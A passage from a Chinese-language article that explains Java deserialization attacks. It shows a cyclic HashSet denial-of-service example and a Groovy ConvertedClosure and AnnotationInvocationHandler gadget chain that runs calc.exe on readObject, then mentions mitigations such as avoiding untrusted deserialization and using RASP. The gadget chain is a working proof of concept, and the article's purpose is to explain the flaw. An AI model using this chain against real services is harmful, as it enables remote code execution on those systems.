2. 攻击者可以创建循环对象链，然后序列化。会导致反序列化无法结束， 空耗系统资源。例如：
Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 10; i++) {
Set t1 = new HashSet();
Set t2 = new HashSet();
t1.add("foo"); //使t2不等于t1
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
　　3. 用户在收到序列化对象流时可以选择存储在本地，以后再处理。由于没有任何校验机制，使得上传恶意程序成为可能。
　　class Controller {
　　public void receiveState(ObjectInputStream ois) {
　　FileOutputStream fos = new FileOutputStream(new File("xxx.ser"));
　　fos.write(ois); //实际并不知道存的是什么，可能是恶意脚本。
　　fos.close();
　　}
　　}
　　那么这次由 FoxGlove 暴露出来的 Serialization Attack 具体是怎样呢？下面是 Groovy 的一个例子：
public class GroovyTest {
public static void main(String[] args) throws Exception {
final ConvertedClosure closure = new ConvertedClosure(new MethodClosure("calc.exe"， "execute")， "entrySet");
Class<?>[] clsArr = {Map.class};
final Map map = Map.class.cast(Proxy.newProxyInstance(GroovyTest.class.getClassLoader()， clsArr， closure));
final Constructor<?> ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
ctor.setAccessible(true);
final InvocationHandler handler = (InvocationHandler)ctor.newInstance(Override.class， map);
ByteArrayOutputStream bos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bos);
oos.writeObject(handler);
byte[] bytes = bos.toByteArray(); //对象被序列化
ByteArrayInputStream bis = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject(); //反序列化时calc.exe被执行
}
}
　　在这个例子中，ConvertedClosure 会把一个 Closure 对象映射成 Java 的 entrySet 方法，而在AnnotationInvocationHandler 的 readObject 方法中，会尝试调用 entrySet() 方法，这会触发 calc.exe 的调用。
private void readObject(ObjectInputStream var1) throws IOException， ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
while(var4.hasNext()) {
Entry var5 = (Entry)var4.next();
String var6 = (String)var5.getKey();
Class var7 = (Class)var3.get(var6);
if(var7 != null) {
Object var8 = var5.getValue();
if(!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
}
}
}
}
　　针对这个问题，FoxGlove Security 提到开发者不应该反序列化任何不信任的数据，而实际情况却是开发者对该问题的危害没有足够的认知，他提到一种激进的做法那是如果你足够勇敢可以尝试扫描并删除存在反序列化漏洞的类，但是实际情况是第一没有人敢于冒这种风险，第二，当应用对象的依赖关系会很复杂，反序列化过程会导致很多关联对象被创建，所以扫描不能保证所有的问题类被发现。
　　然而幸运的是，这个问题引起了一些安全公司的重视，在他们推出的RASP（Runtime Application Security Protection）产品中会在应用运行期对该漏洞进行防护。